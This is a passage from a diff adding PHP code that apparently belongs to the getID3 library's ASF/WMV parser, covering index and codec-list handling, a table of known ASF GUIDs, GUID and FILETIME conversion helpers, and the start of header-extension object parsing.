+						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']      = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type_text'] = $this->ASFIndexObjectIndexTypeLookup($thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']);
+					}
+
+					$ASFIndexObjectData .= $this->fread(4);
+					$thisfile_asf_asfindexobject['index_entry_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
+					$offset += 4;
+
+					$ASFIndexObjectData .= $this->fread(8 * $thisfile_asf_asfindexobject['index_specifiers_count']);
+					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
+						$thisfile_asf_asfindexobject['block_positions'][$IndexSpecifiersCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 8));
+						$offset += 8;
+					}
+
+					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count'] * $thisfile_asf_asfindexobject['index_entry_count']);
+					for ($IndexEntryCounter = 0; $IndexEntryCounter < $thisfile_asf_asfindexobject['index_entry_count']; $IndexEntryCounter++) {
+						for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
+							$thisfile_asf_asfindexobject['offsets'][$IndexSpecifiersCounter][$IndexEntryCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
+							$offset += 4;
+						}
+					}
+					break;
+
+
+				default:
+					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
+					if ($this->GUIDname($NextObjectGUIDtext)) {
+						$this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF body at offset '.($offset - 16 - 8));
+					} else {
+						$this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF body at offset '.($this->ftell() - 16 - 8));
+					}
+					$this->fseek(($NextObjectSize - 16 - 8), SEEK_CUR);
+					break;
+			}
+		}
+
+		if (isset($thisfile_asf_codeclistobject['codec_entries']) && is_array($thisfile_asf_codeclistobject['codec_entries'])) {
+			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
+				switch ($streamdata['information']) {
+					case 'WMV1':
+					case 'WMV2':
+					case 'WMV3':
+					case 'MSS1':
+					case 'MSS2':
+					case 'WMVA':
+					case 'WVC1':
+					case 'WMVP':
+					case 'WVP2':
+						$thisfile_video['dataformat'] = 'wmv';
+						$info['mime_type'] = 'video/x-ms-wmv';
+						break;
+
+					case 'MP42':
+					case 'MP43':
+					case 'MP4S':
+					case 'mp4s':
+						$thisfile_video['dataformat'] = 'asf';
+						$info['mime_type'] = 'video/x-ms-asf';
+						break;
+
+					default:
+						switch ($streamdata['type_raw']) {
+							case 1:
+								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
+									$thisfile_video['dataformat'] = 'wmv';
+									if ($info['mime_type'] == 'video/x-ms-asf') {
+										$info['mime_type'] = 'video/x-ms-wmv';
+									}
+								}
+								break;
+
+							case 2:
+								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
+									$thisfile_audio['dataformat'] = 'wma';
+									if ($info['mime_type'] == 'video/x-ms-asf') {
+										$info['mime_type'] = 'audio/x-ms-wma';
+									}
+								}
+								break;
+
+						}
+						break;
+				}
+			}
+		}
+
+		switch (isset($thisfile_audio['codec']) ? $thisfile_audio['codec'] : '') {
+			case 'MPEG Layer-3':
+				$thisfile_audio['dataformat'] = 'mp3';
+				break;
+
+			default:
+				break;
+		}
+
+		if (isset($thisfile_asf_codeclistobject['codec_entries'])) {
+			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
+				switch ($streamdata['type_raw']) {
+
+					case 1: // video
+						$thisfile_video['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);
+						break;
+
+					case 2: // audio
+						$thisfile_audio['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);
+
+						// AH 2003-10-01
+						$thisfile_audio['encoder_options'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][0]['description']);
+
+						$thisfile_audio['codec']   = $thisfile_audio['encoder'];
+						break;
+
+					default:
+						$this->warning('Unknown streamtype: [codec_list_object][codec_entries]['.$streamnumber.'][type_raw] == '.$streamdata['type_raw']);
+						break;
+
+				}
+			}
+		}
+
+		if (isset($info['audio'])) {
+			$thisfile_audio['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
+			$thisfile_audio['dataformat']         = (!empty($thisfile_audio['dataformat'])        ? $thisfile_audio['dataformat']         : 'asf');
+		}
+		if (!empty($thisfile_video['dataformat'])) {
+			$thisfile_video['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
+			$thisfile_video['pixel_aspect_ratio'] = (isset($thisfile_audio['pixel_aspect_ratio']) ? $thisfile_audio['pixel_aspect_ratio'] : (float) 1);
+			$thisfile_video['dataformat']         = (!empty($thisfile_video['dataformat'])        ? $thisfile_video['dataformat']         : 'asf');
+		}
+		if (!empty($thisfile_video['streams'])) {
+			$thisfile_video['resolution_x'] = 0;
+			$thisfile_video['resolution_y'] = 0;
+			foreach ($thisfile_video['streams'] as $key => $valuearray) {
+				if (($valuearray['resolution_x'] > $thisfile_video['resolution_x']) || ($valuearray['resolution_y'] > $thisfile_video['resolution_y'])) {
+					$thisfile_video['resolution_x'] = $valuearray['resolution_x'];
+					$thisfile_video['resolution_y'] = $valuearray['resolution_y'];
+				}
+			}
+		}
+		$info['bitrate'] = (isset($thisfile_audio['bitrate']) ? $thisfile_audio['bitrate'] : 0) + (isset($thisfile_video['bitrate']) ? $thisfile_video['bitrate'] : 0);
+
+		if ((!isset($info['playtime_seconds']) || ($info['playtime_seconds'] <= 0)) && ($info['bitrate'] > 0)) {
+			$info['playtime_seconds'] = ($info['filesize'] - $info['avdataoffset']) / ($info['bitrate'] / 8);
+		}
+
+		return true;
+	}
+
+	public static function codecListObjectTypeLookup($CodecListType) {
+		static $lookup = array(
+			0x0001 => 'Video Codec',
+			0x0002 => 'Audio Codec',
+			0xFFFF => 'Unknown Codec'
+		);
+
+		return (isset($lookup[$CodecListType]) ? $lookup[$CodecListType] : 'Invalid Codec Type');
+	}
+
+	public static function KnownGUIDs() {
+		static $GUIDarray = array(
+			'GETID3_ASF_Extended_Stream_Properties_Object'   => '14E6A5CB-C672-4332-8399-A96952065B5A',
+			'GETID3_ASF_Padding_Object'                      => '1806D474-CADF-4509-A4BA-9AABCB96AAE8',
+			'GETID3_ASF_Payload_Ext_Syst_Pixel_Aspect_Ratio' => '1B1EE554-F9EA-4BC8-821A-376B74E4C4B8',
+			'GETID3_ASF_Script_Command_Object'               => '1EFB1A30-0B62-11D0-A39B-00A0C90348F6',
+			'GETID3_ASF_No_Error_Correction'                 => '20FB5700-5B55-11CF-A8FD-00805F5C442B',
+			'GETID3_ASF_Content_Branding_Object'             => '2211B3FA-BD23-11D2-B4B7-00A0C955FC6E',
+			'GETID3_ASF_Content_Encryption_Object'           => '2211B3FB-BD23-11D2-B4B7-00A0C955FC6E',
+			'GETID3_ASF_Digital_Signature_Object'            => '2211B3FC-BD23-11D2-B4B7-00A0C955FC6E',
+			'GETID3_ASF_Extended_Content_Encryption_Object'  => '298AE614-2622-4C17-B935-DAE07EE9289C',
+			'GETID3_ASF_Simple_Index_Object'                 => '33000890-E5B1-11CF-89F4-00A0C90349CB',
+			'GETID3_ASF_Degradable_JPEG_Media'               => '35907DE0-E415-11CF-A917-00805F5C442B',
+			'GETID3_ASF_Payload_Extension_System_Timecode'   => '399595EC-8667-4E2D-8FDB-98814CE76C1E',
+			'GETID3_ASF_Binary_Media'                        => '3AFB65E2-47EF-40F2-AC2C-70A90D71D343',
+			'GETID3_ASF_Timecode_Index_Object'               => '3CB73FD0-0C4A-4803-953D-EDF7B6228F0C',
+			'GETID3_ASF_Metadata_Library_Object'             => '44231C94-9498-49D1-A141-1D134E457054',
+			'GETID3_ASF_Reserved_3'                          => '4B1ACBE3-100B-11D0-A39B-00A0C90348F6',
+			'GETID3_ASF_Reserved_4'                          => '4CFEDB20-75F6-11CF-9C0F-00A0C90349CB',
+			'GETID3_ASF_Command_Media'                       => '59DACFC0-59E6-11D0-A3AC-00A0C90348F6',
+			'GETID3_ASF_Header_Extension_Object'             => '5FBF03B5-A92E-11CF-8EE3-00C00C205365',
+			'GETID3_ASF_Media_Object_Index_Parameters_Obj'   => '6B203BAD-3F11-4E84-ACA8-D7613DE2CFA7',
+			'GETID3_ASF_Header_Object'                       => '75B22630-668E-11CF-A6D9-00AA0062CE6C',
+			'GETID3_ASF_Content_Description_Object'          => '75B22633-668E-11CF-A6D9-00AA0062CE6C',
+			'GETID3_ASF_Error_Correction_Object'             => '75B22635-668E-11CF-A6D9-00AA0062CE6C',
+			'GETID3_ASF_Data_Object'                         => '75B22636-668E-11CF-A6D9-00AA0062CE6C',
+			'GETID3_ASF_Web_Stream_Media_Subtype'            => '776257D4-C627-41CB-8F81-7AC7FF1C40CC',
+			'GETID3_ASF_Stream_Bitrate_Properties_Object'    => '7BF875CE-468D-11D1-8D82-006097C9A2B2',
+			'GETID3_ASF_Language_List_Object'                => '7C4346A9-EFE0-4BFC-B229-393EDE415C85',
+			'GETID3_ASF_Codec_List_Object'                   => '86D15240-311D-11D0-A3A4-00A0C90348F6',
+			'GETID3_ASF_Reserved_2'                          => '86D15241-311D-11D0-A3A4-00A0C90348F6',
+			'GETID3_ASF_File_Properties_Object'              => '8CABDCA1-A947-11CF-8EE4-00C00C205365',
+			'GETID3_ASF_File_Transfer_Media'                 => '91BD222C-F21C-497A-8B6D-5AA86BFC0185',
+			'GETID3_ASF_Old_RTP_Extension_Data'              => '96800C63-4C94-11D1-837B-0080C7A37F95',
+			'GETID3_ASF_Advanced_Mutual_Exclusion_Object'    => 'A08649CF-4775-4670-8A16-6E35357566CD',
+			'GETID3_ASF_Bandwidth_Sharing_Object'            => 'A69609E6-517B-11D2-B6AF-00C04FD908E9',
+			'GETID3_ASF_Reserved_1'                          => 'ABD3D211-A9BA-11cf-8EE6-00C00C205365',
+			'GETID3_ASF_Bandwidth_Sharing_Exclusive'         => 'AF6060AA-5197-11D2-B6AF-00C04FD908E9',
+			'GETID3_ASF_Bandwidth_Sharing_Partial'           => 'AF6060AB-5197-11D2-B6AF-00C04FD908E9',
+			'GETID3_ASF_JFIF_Media'                          => 'B61BE100-5B4E-11CF-A8FD-00805F5C442B',
+			'GETID3_ASF_Stream_Properties_Object'            => 'B7DC0791-A9B7-11CF-8EE6-00C00C205365',
+			'GETID3_ASF_Video_Media'                         => 'BC19EFC0-5B4D-11CF-A8FD-00805F5C442B',
+			'GETID3_ASF_Audio_Spread'                        => 'BFC3CD50-618F-11CF-8BB2-00AA00B4E220',
+			'GETID3_ASF_Metadata_Object'                     => 'C5F8CBEA-5BAF-4877-8467-AA8C44FA4CCA',
+			'GETID3_ASF_Payload_Ext_Syst_Sample_Duration'    => 'C6BD9450-867F-4907-83A3-C77921B733AD',
+			'GETID3_ASF_Group_Mutual_Exclusion_Object'       => 'D1465A40-5A79-4338-B71B-E36B8FD6C249',
+			'GETID3_ASF_Extended_Content_Description_Object' => 'D2D0A440-E307-11D2-97F0-00A0C95EA850',
+			'GETID3_ASF_Stream_Prioritization_Object'        => 'D4FED15B-88D3-454F-81F0-ED5C45999E24',
+			'GETID3_ASF_Payload_Ext_System_Content_Type'     => 'D590DC20-07BC-436C-9CF7-F3BBFBF1A4DC',
+			'GETID3_ASF_Old_File_Properties_Object'          => 'D6E229D0-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_ASF_Header_Object'               => 'D6E229D1-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_ASF_Data_Object'                 => 'D6E229D2-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Index_Object'                        => 'D6E229D3-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Stream_Properties_Object'        => 'D6E229D4-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Content_Description_Object'      => 'D6E229D5-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Script_Command_Object'           => 'D6E229D6-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Marker_Object'                   => 'D6E229D7-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Component_Download_Object'       => 'D6E229D8-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Stream_Group_Object'             => 'D6E229D9-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Scalable_Object'                 => 'D6E229DA-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Prioritization_Object'           => 'D6E229DB-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Bitrate_Mutual_Exclusion_Object'     => 'D6E229DC-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Inter_Media_Dependency_Object'   => 'D6E229DD-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Rating_Object'                   => 'D6E229DE-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Index_Parameters_Object'             => 'D6E229DF-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Color_Table_Object'              => 'D6E229E0-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Language_List_Object'            => 'D6E229E1-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Audio_Media'                     => 'D6E229E2-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Video_Media'                     => 'D6E229E3-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Image_Media'                     => 'D6E229E4-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Timecode_Media'                  => 'D6E229E5-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Text_Media'                      => 'D6E229E6-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_MIDI_Media'                      => 'D6E229E7-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Command_Media'                   => 'D6E229E8-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_No_Error_Concealment'            => 'D6E229EA-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Scrambled_Audio'                 => 'D6E229EB-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_No_Color_Table'                  => 'D6E229EC-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_SMPTE_Time'                      => 'D6E229ED-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_ASCII_Text'                      => 'D6E229EE-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Unicode_Text'                    => 'D6E229EF-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_HTML_Text'                       => 'D6E229F0-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_URL_Command'                     => 'D6E229F1-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Filename_Command'                => 'D6E229F2-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_ACM_Codec'                       => 'D6E229F3-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_VCM_Codec'                       => 'D6E229F4-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_QuickTime_Codec'                 => 'D6E229F5-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_DirectShow_Transform_Filter'     => 'D6E229F6-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_DirectShow_Rendering_Filter'     => 'D6E229F7-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_No_Enhancement'                  => 'D6E229F8-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Unknown_Enhancement_Type'        => 'D6E229F9-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Temporal_Enhancement'            => 'D6E229FA-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Spatial_Enhancement'             => 'D6E229FB-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Quality_Enhancement'             => 'D6E229FC-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Number_of_Channels_Enhancement'  => 'D6E229FD-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Frequency_Response_Enhancement'  => 'D6E229FE-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Media_Object'                    => 'D6E229FF-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Mutex_Language'                      => 'D6E22A00-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Mutex_Bitrate'                       => 'D6E22A01-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Mutex_Unknown'                       => 'D6E22A02-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_ASF_Placeholder_Object'          => 'D6E22A0E-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Data_Unit_Extension_Object'      => 'D6E22A0F-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Web_Stream_Format'                   => 'DA1E6B13-8359-4050-B398-388E965BF00C',
+			'GETID3_ASF_Payload_Ext_System_File_Name'        => 'E165EC0E-19ED-45D7-B4A7-25CBD1E28E9B',
+			'GETID3_ASF_Marker_Object'                       => 'F487CD01-A951-11CF-8EE6-00C00C205365',
+			'GETID3_ASF_Timecode_Index_Parameters_Object'    => 'F55E496D-9797-4B5D-8C8B-604DFE9BFB24',
+			'GETID3_ASF_Audio_Media'                         => 'F8699E40-5B4D-11CF-A8FD-00805F5C442B',
+			'GETID3_ASF_Media_Object_Index_Object'           => 'FEB103F8-12AD-4C64-840F-2A1D2F7AD48C',
+			'GETID3_ASF_Alt_Extended_Content_Encryption_Obj' => 'FF889EF1-ADEE-40DA-9E71-98704BB928CE',
+			'GETID3_ASF_Index_Placeholder_Object'            => 'D9AADE20-7C17-4F9C-BC28-8555DD98E2A2', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html
+			'GETID3_ASF_Compatibility_Object'                => '26F18B5D-4584-47EC-9F5F-0E651F0452C9', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html
+		);
+		return $GUIDarray;
+	}
+
+	public static function GUIDname($GUIDstring) {
+		static $GUIDarray = array();
+		if (empty($GUIDarray)) {
+			$GUIDarray = self::KnownGUIDs();
+		}
+		return array_search($GUIDstring, $GUIDarray);
+	}
+
+	public static function ASFIndexObjectIndexTypeLookup($id) {
+		static $ASFIndexObjectIndexTypeLookup = array();
+		if (empty($ASFIndexObjectIndexTypeLookup)) {
+			$ASFIndexObjectIndexTypeLookup[1] = 'Nearest Past Data Packet';
+			$ASFIndexObjectIndexTypeLookup[2] = 'Nearest Past Media Object';
+			$ASFIndexObjectIndexTypeLookup[3] = 'Nearest Past Cleanpoint';
+		}
+		return (isset($ASFIndexObjectIndexTypeLookup[$id]) ? $ASFIndexObjectIndexTypeLookup[$id] : 'invalid');
+	}
+
+	public static function GUIDtoBytestring($GUIDstring) {
+		// Microsoft defines these 16-byte (128-bit) GUIDs in the strangest way:
+		// first 4 bytes are in little-endian order
+		// next 2 bytes are appended in little-endian order
+		// next 2 bytes are appended in little-endian order
+		// next 2 bytes are appended in big-endian order
+		// next 6 bytes are appended in big-endian order
+
+		// AaBbCcDd-EeFf-GgHh-IiJj-KkLlMmNnOoPp is stored as this 16-byte string:
+		// $Dd $Cc $Bb $Aa $Ff $Ee $Hh $Gg $Ii $Jj $Kk $Ll $Mm $Nn $Oo $Pp
+
+		$hexbytecharstring  = chr(hexdec(substr($GUIDstring,  6, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  4, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  2, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  0, 2)));
+
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 11, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  9, 2)));
+
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 16, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 14, 2)));
+
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 19, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 21, 2)));
+
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 24, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 26, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 28, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 30, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 32, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 34, 2)));
+
+		return $hexbytecharstring;
+	}
+
+	public static function BytestringToGUID($Bytestring) {
+		$GUIDstring  = str_pad(dechex(ord($Bytestring{3})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{2})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{1})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{0})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= '-';
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{5})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{4})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= '-';
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{7})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{6})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= '-';
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{8})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{9})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= '-';
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{10})), 2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{11})), 2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{12})), 2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{13})), 2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{14})), 2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{15})), 2, '0', STR_PAD_LEFT);
+
+		return strtoupper($GUIDstring);
+	}
+
+	public static function FILETIMEtoUNIXtime($FILETIME, $round=true) {
+		// FILETIME is a 64-bit unsigned integer representing
+		// the number of 100-nanosecond intervals since January 1, 1601
+		// UNIX timestamp is number of seconds since January 1, 1970
+		// 116444736000000000 = 10000000 * 60 * 60 * 24 * 365 * 369 + 89 leap days
+		if ($round) {
+			return intval(round(($FILETIME - 116444736000000000) / 10000000));
+		}
+		return ($FILETIME - 116444736000000000) / 10000000;
+	}
+
+	public static function WMpictureTypeLookup($WMpictureType) {
+		static $lookup = null;
+		if ($lookup === null) {
+			$lookup = array(
+				0x03 => 'Front Cover',
+				0x04 => 'Back Cover',
+				0x00 => 'User Defined',
+				0x05 => 'Leaflet Page',
+				0x06 => 'Media Label',
+				0x07 => 'Lead Artist',
+				0x08 => 'Artist',
+				0x09 => 'Conductor',
+				0x0A => 'Band',
+				0x0B => 'Composer',
+				0x0C => 'Lyricist',
+				0x0D => 'Recording Location',
+				0x0E => 'During Recording',
+				0x0F => 'During Performance',
+				0x10 => 'Video Screen Capture',
+				0x12 => 'Illustration',
+				0x13 => 'Band Logotype',
+				0x14 => 'Publisher Logotype'
+			);
+			$lookup = array_map(function($str) {
+				return getid3_lib::iconv_fallback('UTF-8', 'UTF-16LE', $str);
+			}, $lookup);
+		}
+
+		return (isset($lookup[$WMpictureType]) ? $lookup[$WMpictureType] : '');
+	}
+
+	public function HeaderExtensionObjectDataParse(&$asf_header_extension_object_data, &$unhandled_sections) {
+		// http://msdn.microsoft.com/en-us/library/bb643323.aspx
+
+		$offset = 0;
+		$objectOffset = 0;
+		$HeaderExtensionObjectParsed = array();
+		while ($objectOffset < strlen($asf_header_extension_object_data)) {
+			$offset = $objectOffset;
+			$thisObject = array();
+
+			$thisObject['guid']                              =                              substr($asf_header_extension_object_data, $offset, 16);
+			$offset += 16;
+			$thisObject['guid_text'] = $this->BytestringToGUID($thisObject['guid']);
+			$thisObject['guid_name'] = $this->GUIDname($thisObject['guid_text']);
+
+			$thisObject['size']                              = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
+			$offset += 8;
+			if ($thisObject['size'] <= 0) {
+				break;
+			}
+
+			switch ($thisObject['guid']) {
+				case GETID3_ASF_Extended_Stream_Properties_Object:
+					$thisObject['start_time']                        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
+					$offset += 8;
+					$thisObject['start_time_unix']                   = $this->FILETIMEtoUNIXtime($thisObject['start_time']);
+
+					$thisObject['end_time']                          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
+					$offset += 8;
+					$thisObject['end_time_unix']                     = $this->FILETIMEtoUNIXtime($thisObject['end_time']);
+
+					$thisObject['data_bitrate']                      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['buffer_size']                       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['initial_buffer_fullness']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['alternate_data_bitrate']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['alternate_buffer_size']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['alternate_initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['maximum_object_size']               = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['flags_raw']                         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+					$thisObject['flags']['reliable']                = (bool) $thisObject['flags_raw'] & 0x00000001;
+					$thisObject['flags']['seekable']                = (bool) $thisObject['flags_raw'] & 0x00000002;
+					$thisObject['flags']['no_cleanpoints']          = (bool) $thisObject['flags_raw'] & 0x00000004;
+					$thisObject['flags']['resend_live_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000008;
+
+					$thisObject['stream_number']                     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					$thisObject['stream_language_id_index']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					$thisObject['average_time_per_frame']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['stream_name_count']                 = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					$thisObject['payload_extension_system_count']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					for ($i = 0; $i < $thisObject['stream_name_count']; $i++) {
+						$streamName = array();
+
+						$streamName['language_id_index']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$streamName['stream_name_length']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$streamName['stream_name']                   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  $streamName['stream_name_length']));
+						$offset += $streamName['stream_name_length'];
+
+						$thisObject['stream_names'][$i] = $streamName;
+					}
+
+					for ($i = 0; $i < $thisObject['payload_extension_system_count']; $i++) {
+						$payloadExtensionSystem = array();
+
+						$payloadExtensionSystem['extension_system_id']   =                              substr($asf_header_extension_object_data, $offset, 16);
+						$offset += 16;
+						$payloadExtensionSystem['extension_system_id_text'] = $this->BytestringToGUID($payloadExtensionSystem['extension_system_id']);
+
+						$payloadExtensionSystem['extension_system_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+						if ($payloadExtensionSystem['extension_system_size'] <= 0) {
+							break 2;
+						}
+
+						$payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+						$offset += 4;
+
